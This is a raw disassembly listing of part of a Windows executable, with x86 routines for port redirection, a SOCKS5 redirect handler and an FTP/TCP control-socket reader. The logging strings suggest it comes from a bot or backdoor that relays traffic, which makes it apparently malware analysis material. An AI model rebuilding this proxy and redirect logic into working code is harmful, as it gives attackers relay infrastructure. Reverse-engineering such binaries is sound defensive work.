loc_42B72C: ; CODE XREF: sub_42B540+1E7j
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
sub_42B540 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
db 6Ah ; j
db 0FFh
db 68h ; h
db 48h ; H
db 0BCh ;
db 43h ; C
db 0
db 64h ; d
db 0A1h ;
db 0
db 0
db 0
db 0
db 50h ; P
db 64h ; d
db 89h ;
db 25h ; %
db 0
db 0
db 0
db 0
db 51h ; Q
db 56h ; V
db 8Bh ;
db 0F1h ;
db 89h ;
db 74h ; t
db 24h ; $
db 4
db 0E8h ;
db 0A0h ;
db 67h ; g
db 0FDh ;
db 0FFh
db 68h ; h
db 70h ; p
db 3Dh ; =
db 44h ; D
db 0
db 8Dh ;
db 4Eh ; N
db 11h
db 0C7h ;
db 44h ; D
db 24h ; $
db 14h
db 0
db 0
db 0
db 0
db 0C7h ;
db 6
db 0C0h ;
db 0E1h ;
db 43h ; C
db 0
db 0E8h ;
db 0DAh ;
db 5Dh ; ]
db 0FDh ;
db 0FFh
db 8Bh ;
db 4Ch ; L
db 24h ; $
db 8
db 8Bh ;
db 0C6h ;
db 5Eh ; ^
db 64h ; d
db 89h ;
db 0Dh
db 0
db 0
db 0
db 0
db 83h ;
db 0C4h ;
db 10h
db 0C3h ;
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B830: ; CODE XREF: ___:loc_4015F0j
; ___:00401FAAj
push esi
mov esi, ecx
call sub_401B8B
test byte ptr [esp+8], 1
jz short loc_42B848
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B848: ; CODE XREF: ___:0042B83Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B860 proc near ; CODE XREF: sub_401B8Bj
jmp sub_40179E
sub_42B860 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B880 proc near ; CODE XREF: sub_4019E2j
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42B880
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+3Fh]
lea ebx, [esi+43h]
push eax
mov ecx, ebx
lea edi, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
mov ecx, [esi+3Bh]
push eax
push ecx
mov ecx, edi
call sub_4017E4
push eax
push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"...
mov ecx, ebp
call sub_4014D3
mov dl, [esi+98h]
push eax
mov al, [esi+97h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 24h
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42BAB8
mov dx, [esi+3Bh]
xor ecx, ecx
mov [esp+44h+var_2C], ecx
push edx
mov [esp+48h+var_28], ecx
mov word ptr [esp+48h+var_2C], 2
mov [esp+48h+var_24], ecx
mov [esp+48h+var_20], ecx
nop
call near ptr 71AB2B66h
mov ecx, [esi+9Dh]
mov word ptr [esp+44h+var_2C+2], ax
lea eax, [esp+44h+var_2C]
push 10h
push eax
push ecx
mov [esp+50h+var_34], 10h
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_42B96B
mov edx, [esi+9Dh]
push edx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42B96B: ; CODE XREF: sub_42B880+C9j
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz loc_42BA64
loc_42B97F: ; CODE XREF: sub_42B880+1DEj
mov ecx, [esi+9Dh]
push 0Ah
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz loc_42BA45
mov ecx, [esi+9Dh]
lea edx, [esp+44h+var_34]
lea eax, [esp+44h+var_1C]
push edx
push eax
push ecx
nop
call near ptr 71AC1028h
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42BA45
xor edi, edi
cmp ebp, edi
jz loc_42BA45
push 0A9h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42B9E5
mov ecx, eax
call sub_401663
mov edi, eax
loc_42B9E5: ; CODE XREF: sub_42B880+15Aj
mov edx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], edx
mov eax, [esi+3Bh]
mov [edi+3Bh], eax
mov ecx, [esi+3Fh]
mov [edi+3Fh], ecx
push ebx
lea ecx, [edi+43h]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401FBE
lea eax, [esi+26h]
lea ecx, [edi+26h]
push eax
mov [edi+0A1h], ebp
call sub_401FBE
mov dl, [esi+97h]
mov ecx, edi
mov [edi+97h], dl
mov al, [esi+98h]
mov [edi+98h], al
call sub_4013D4
loc_42BA45: ; CODE XREF: sub_42B880+111j
; sub_42B880+133j ...
push 0FAh
nop
call near ptr 2820000h
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz loc_42B97F
loc_42BA64: ; CODE XREF: sub_42B880+F9j
mov eax, [esi+9Dh]
cmp eax, 0FFFFFFFFh
jz short loc_42BA76
push eax
call near ptr 71AB9639h
nop
loc_42BA76: ; CODE XREF: sub_42B880+1EDj
mov edx, [esi+3Fh]
mov ecx, ebx
push edx
call sub_4017E4
push eax
mov eax, [esi+3Bh]
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 24h
loc_42BAB8: ; CODE XREF: sub_42B880+7Cj
mov ecx, [esp+44h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42B880 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42BB70 proc near ; CODE XREF: sub_4021DFj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42BB70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 3
push 14h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
mov esi, ecx
push 5
lea eax, [esp+74h+var_3C]
push 12h
push eax
mov dword ptr [esi+118h], 0
call sub_4019B5
add esp, 38h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_42BB70 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 12h
push 7
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+38h]
push 12h
push edx
call sub_4019B5
add esp, 38h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 14h
push 14h
push 8
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+3Ch]
push 12h
push ecx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea eax, [esp+40h]
push 12h
push eax
call sub_4019B5
add esp, 40h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+8Eh]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 49h
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+44h]
push 12h
push edx
call sub_4019B5
add esp, 44h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
push eax
lea eax, [esi+0BCh]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+54h]
push 12h
push ecx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017E4
add esi, 0EAh
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0A0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42BE60: ; CODE XREF: ___:loc_40202Cj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43BD84
push eax
mov large fs:0, esp
sub esp, 68h
push ebx
push ebp
push esi
mov esi, [esp+84h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
or ebx, 0FFFFFFFFh
test eax, eax
jnz loc_42BFC7
push 0A1h
call sub_4367FA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh
dd 7F000BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch
dd 3E80000h, 68FFFD53h, 443600h, 4C244C8Dh, 8B51026Ah
dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
dd 4C8DFFFDh, 9C894824h, 8024h, 52CCE800h, 68FFFDh, 8D004436h
dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh
dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD528Ah
dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
dd 97h, 94968Ah, 0CF8B0000h, 989788h, 0DE80000h
db 54h, 0FDh, 0FFh
; ---------------------------------------------------------------------------
loc_42BFC7: ; CODE XREF: ___:0042BE9Dj
lea ecx, [ebp+32h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C0F7
push 9Dh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 4
jz short loc_42C00E
mov ecx, eax
call sub_401889
mov edi, eax
jmp short loc_42C010
; ---------------------------------------------------------------------------
loc_42C00E: ; CODE XREF: ___:0042C001j
xor edi, edi
loc_42C010: ; CODE XREF: ___:0042C00Cj
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
push eax
lea ecx, [edi+58h]
mov dword ptr [esp+84h], 5
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+6Dh]
mov dword ptr [esp+84h], 6
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 3
push edx
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+82h]
mov dword ptr [esp+84h], 7
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013D4
loc_42C0F7: ; CODE XREF: ___:0042BFDAj
lea ecx, [ebp+60h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C220
push 0A2h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 8
jz short loc_42C13E
mov ecx, eax
call sub_4018DE
mov edi, eax
jmp short loc_42C140
; ---------------------------------------------------------------------------
loc_42C13E: ; CODE XREF: ___:0042C131j
xor edi, edi
loc_42C140: ; CODE XREF: ___:0042C13Cj
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+80h], 9
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016AE
push offset aTrue ; "true"
mov ecx, eax
mov dword ptr [esp+84h], 0Ah
call sub_401500
test eax, eax
lea ecx, [esp+48h]
mov [esp+80h], ebx
setz byte ptr [esp+88h]
call sub_401226
mov al, [esp+88h]
test al, al
jz short loc_42C1EE
mov byte ptr [edi+9Dh], 1
jmp short loc_42C1F5
; ---------------------------------------------------------------------------
loc_42C1EE: ; CODE XREF: ___:0042C1E3j
mov byte ptr [edi+9Dh], 0
loc_42C1F5: ; CODE XREF: ___:0042C1ECj
lea edx, [esi+69h]
lea ecx, [edi+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [edi+97h], al
mov cl, [esi+94h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013D4
loc_42C220: ; CODE XREF: ___:0042C10Aj
lea ecx, [ebp+8Eh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C2ED
push 0A1h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 0Bh
jz short loc_42C26A
mov ecx, eax
call sub_40216C
mov edi, eax
jmp short loc_42C26C
; ---------------------------------------------------------------------------
loc_42C26A: ; CODE XREF: ___:0042C25Dj
xor edi, edi
loc_42C26C: ; CODE XREF: ___:0042C268j
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push edx
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+80h], 0Ch
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013D4
loc_42C2ED: ; CODE XREF: ___:0042C236j
lea ecx, [ebp+0BCh]
call sub_4014D3
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov [esp+8Ch], edi
call sub_4012EE
test eax, eax
jnz loc_42C519
lea ecx, [esp+30h]
call sub_401424
lea ecx, [esp+18h]
mov dword ptr [esp+80h], 0Dh
call sub_401424
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 2
push eax
mov ecx, esi
mov byte ptr [esp+8Ch], 0Eh
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+80h], 0Fh
call sub_4017E4
push eax
lea ecx, [esp+34h]
call sub_401A87
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 3
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+80h], 10h
call sub_4017E4
push eax
lea ecx, [esp+1Ch]
call sub_401A87
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+30h]
call sub_4014D3
cmp eax, offset byte_446F60
jnz short loc_42C3CF
push offset aRoot ; "root"
lea ecx, [esp+1Ch]
call sub_401A87
loc_42C3CF: ; CODE XREF: ___:0042C3BFj
lea ecx, [esp+18h]
call sub_4014D3
cmp eax, offset byte_446F60
jnz short loc_42C3ED
push offset byte_446F60
lea ecx, [esp+1Ch]
call sub_401A87
loc_42C3ED: ; CODE XREF: ___:0042C3DDj
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov edi, eax
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 11h
call sub_4017E4
push eax
lea ecx, [esp+34h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
mov edi, dword_50FB08
push eax
call edi
add esp, 4
lea ecx, [esi+69h]
push eax
push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 20h
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push eax
call sub_401861
lea ecx, [esp+48h]
mov byte ptr [esp+98h], 12h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+44h], esp
push eax
call sub_401861
push offset asc_443600 ; " "
lea edx, [esp+94h]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0BCh], 13h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+0B0h], 15h
call sub_4017E4
push eax
call edi
add esp, 4
push eax
call sub_401C17
add esp, 34h
lea ecx, [esp+60h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 0Dh
call sub_401226
lea ecx, [esp+30h]
mov [esp+80h], ebx
call sub_401226
mov edi, [esp+88h]
loc_42C519: ; CODE XREF: ___:0042C30Cj
lea ecx, [ebp+0EAh]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42C536
mov [ebp+11Ch], al
loc_42C536: ; CODE XREF: ___:0042C52Ej
mov ecx, [esp+78h]
pop edi
pop esi
pop ebp
mov al, 1
mov large fs:0, ecx
pop ebx
add esp, 74h
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 1C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C710 proc near ; CODE XREF: sub_4021A8j
var_4 = dword ptr -4
push ecx
mov edx, dword_447A7D
push esi
mov esi, ecx
mov eax, [esi+99h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_42C731
inc ecx
mov [eax+118h], ecx
loc_42C731: ; CODE XREF: sub_42C710+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+99h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E6ECB
call sub_40120D
sub_42C710 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C790 proc near ; CODE XREF: sub_401E06j
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call sub_436F4E
sub_42C790 endp
; ---------------------------------------------------------------------------
db 85h, 0C0h, 74h
dd 840D8B19h, 500050FAh, 6840C183h, 445404h, 54E89051h
dd 83778146h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42C7E0: ; CODE XREF: ___:00401D7Aj
mov eax, [esp+4]
test eax, eax
jz short loc_42C7F3
mov ecx, [eax+18h]
test ecx, ecx
jnz short loc_42C7F3
add eax, 44h
retn
; ---------------------------------------------------------------------------
loc_42C7F3: ; CODE XREF: ___:0042C7E6j
; ___:0042C7EDj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C810 proc near ; CODE XREF: sub_401A69j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_12 = word ptr 16h
sub esp, 14h
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ebx
push ebp
mov [esp+1Ch+var_C], eax
push esi
push edi
mov [esp+24h+var_8], eax
push ecx
mov [esp+28h+var_14], 1
mov [esp+28h+var_4], eax
mov word ptr [esp+28h+var_10], 2
nop
call near ptr 77C46125h
mov ebp, eax
push 3Ah
push ebp
nop
call near ptr 77C47660h
mov esi, eax
xor ebx, ebx
add esp, 0Ch
cmp esi, ebx
jnz short loc_42C884
push offset aTcp ; "tcp"
push offset aFtp ; "ftp"
call sub_436F96
; ---------------------------------------------------------------------------
dd 6C75C33Bh, 44545868h, 7BE89000h, 837780A5h, 0C03304C4h
dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------
loc_42C884: ; CODE XREF: sub_42C810+47j
mov [esi], bl
mov eax, dword_50FB14
inc esi
cmp dword ptr [eax], 1
jle short loc_42C8A2
movsx ecx, byte ptr [esi]
push 4
push ecx
call near ptr 77C1C561h
nop
add esp, 8
jmp short loc_42C8B2
; ---------------------------------------------------------------------------
loc_42C8A2: ; CODE XREF: sub_42C810+7Fj
mov eax, dword_50FA78
movsx edx, byte ptr [esi]
mov ecx, [eax]
mov al, [ecx+edx*2]
and eax, 4
loc_42C8B2: ; CODE XREF: sub_42C810+90j
cmp eax, ebx
jz short loc_42C8CD
push esi
nop
call near ptr 77C1BF18h
add esp, 4
push eax
call sub_436F36
; ---------------------------------------------------------------------------
mov [esp+arg_12], ax
jmp short sub_42C8E1
; ---------------------------------------------------------------------------
loc_42C8CD: ; CODE XREF: sub_42C810+A4j
push offset aTcp ; "tcp"
push esi
call sub_436F96
sub_42C810 endp
; ---------------------------------------------------------------------------
mov dx, [eax+8]
mov [esp+16h], dx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C8E1 proc near ; CODE XREF: sub_42C810+BBj
push ebp
call sub_436EF4
sub_42C8E1 endp
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
mov [esp+18h], eax
jnz short loc_42C92D
push ebp
call sub_436EE8
; ---------------------------------------------------------------------------
dw 0C33Bh
dd 48681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h
dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
movsb
loc_42C92D: ; CODE XREF: ___:0042C8EEj
push ebp
mov ebp, dword_50FAC4
call ebp
add esp, 4
push 6
push 1
push 2
call sub_436F3C
; ---------------------------------------------------------------------------
dd 0FF83F88Bh, 681875FFh, 445440h, 80A49DE8h, 0C4839077h
dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44543068h
dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
dd 52306807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h
dd 83F08B77h, 0F33B08C4h, 28681E75h, 0E8004454h, 7780A436h
dd 4C48390h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h
dd 54286824h, 3E80044h, 907780A4h, 5704C483h, 0A50DE8h
dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h
dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42CB10 proc near ; CODE XREF: ___:0042D266p
; sub_42DFD0+70p
var_8 = byte ptr -8
var_5 = byte ptr -5
var_4 = byte ptr -4
arg_0 = byte ptr 4
arg_4 = dword ptr 8
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, [esp+18h+arg_4]
push edi
push 100h
lea esi, [edi+44h]
push esi
call sub_42CC50
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42CB4A
loc_42CB32: ; CODE XREF: sub_42CB10+8Ej
; sub_42CB10+D9j
push offset aControlSocketR ; "Control socket read failed"
nop
call near ptr 77C36DF2h
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CB4A: ; CODE XREF: sub_42CB10+20j
mov eax, dword_50E3CC
mov ebx, dword_50FA80
cmp eax, 1
jle short loc_42CB6E
mov eax, dword_50FA84
push esi
add eax, 40h
push offset aS ; "%s"
push eax
call ebx
add esp, 0Ch
loc_42CB6E: ; CODE XREF: sub_42CB10+48j
cmp byte ptr [edi+47h], 2Dh
jnz short loc_42CBEE
push 3
lea ecx, [esp+1Ch+var_8]
push esi
push ecx
nop
call near ptr 77C47A90h
push edi
push 100h
push esi
mov [esp+30h+var_5], 20h
mov [esp+30h+var_4], 0
call sub_42CC50
add esp, 18h
cmp eax, 0FFFFFFFFh
jz short loc_42CB32
mov ebp, dword_50FAD4
loc_42CBA6: ; CODE XREF: sub_42CB10+D7j
cmp dword_50E3CC, 1
jle short loc_42CBC4
mov edx, dword_50FA84
push esi
add edx, 40h
push offset aS ; "%s"
push edx
call ebx
add esp, 0Ch
loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj
lea eax, [esp+18h+var_8]
push 4
push eax
push esi
call ebp
add esp, 0Ch
test eax, eax
jz short loc_42CBEE
push edi
push 100h
push esi
call sub_42CC50
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42CBA6
jmp loc_42CB32
; ---------------------------------------------------------------------------
loc_42CBEE: ; CODE XREF: sub_42CB10+62j
; sub_42CB10+C3j
mov cl, [esi]
mov dl, [esp+18h+arg_0]
xor eax, eax
pop edi
cmp cl, dl
pop esi
pop ebp
pop ebx
setz al
add esp, 8
retn
sub_42CB10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p
; sub_42CB10+83p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 8
push ebx
push ebp
mov ebp, [esp+10h+arg_0]
push esi
mov esi, [esp+14h+arg_8]
xor ecx, ecx
push edi
mov [esp+18h+var_8], ecx
mov eax, [esi+18h]
mov [esp+18h+var_4], ecx
cmp eax, ecx
jz short loc_42CC80
cmp eax, 1
jz short loc_42CC80
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CC80: ; CODE XREF: sub_42CC50+1Ej
; sub_42CC50+23j
mov ebx, [esp+18h+arg_4]
cmp ebx, ecx
jnz short loc_42CC92
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CC92: ; CODE XREF: sub_42CC50+36j
; sub_42CC50+115j
mov edi, [esi+0Ch]
test edi, edi
jle short loc_42CCE3
cmp ebx, edi
jge short loc_42CCA0
lea edi, [ebx-1]
